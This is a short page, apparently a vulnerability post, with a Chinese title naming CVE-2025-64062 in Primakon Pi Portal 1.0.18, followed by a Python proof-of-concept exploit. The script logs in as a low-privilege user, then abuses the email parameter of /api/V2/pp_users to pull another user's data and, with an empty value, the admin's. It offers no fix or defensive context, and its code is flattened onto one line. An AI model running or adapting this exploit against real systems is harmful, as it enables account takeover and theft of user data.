CVE-2025-64062 Primakon Pi Portal会话劫持与权限提升漏洞

import requests import json # CVE-2025-64062 PoC - Primakon Pi Portal Session Hijacking # Target: Primakon Pi Portal 1.0.18 # Endpoint: /api/V2/pp_users?email= TARGET_URL = "http://target-server/api/V2/pp_users" def exploit_session_hijacking(target_url): # Step 1: Normal user login to obtain valid session login_data = { "username": "[email protected]", "password": "attacker_password" } session = requests.Session() login_response = session.post(f"{target_url.replace('/pp_users', '/login')}", json=login_data) if login_response.status_code != 200: print("[-] Login failed") return None print("[+] Login successful with low-privilege account") # Step 2: Exploit - Hijack admin session by manipulating email parameter # Method 1: Target specific user target_email = "[email protected]" params = {"email": target_email} hijack_response = session.get(TARGET_URL, params=params) if hijack_response.status_code == 200: user_data = hijack_response.json() print(f"[+] Successfully hijacked session for: {target_email}") print(f"[+] Retrieved user data: {json.dumps(user_data, indent=2)}") # Step 3: Exploit - Privilege Escalation via empty email parameter # This defaults to first user (typically admin) empty_params = {"email": ""} escalation_response = session.get(TARGET_URL, params=empty_params) if escalation_response.status_code == 200: admin_data = escalation_response.json() print("[+] Successfully escalated to admin privileges") print(f"[+] Admin data: {json.dumps(admin_data, indent=2)}") return session if __name__ == "__main__": exploit_session_hijacking(TARGET_URL)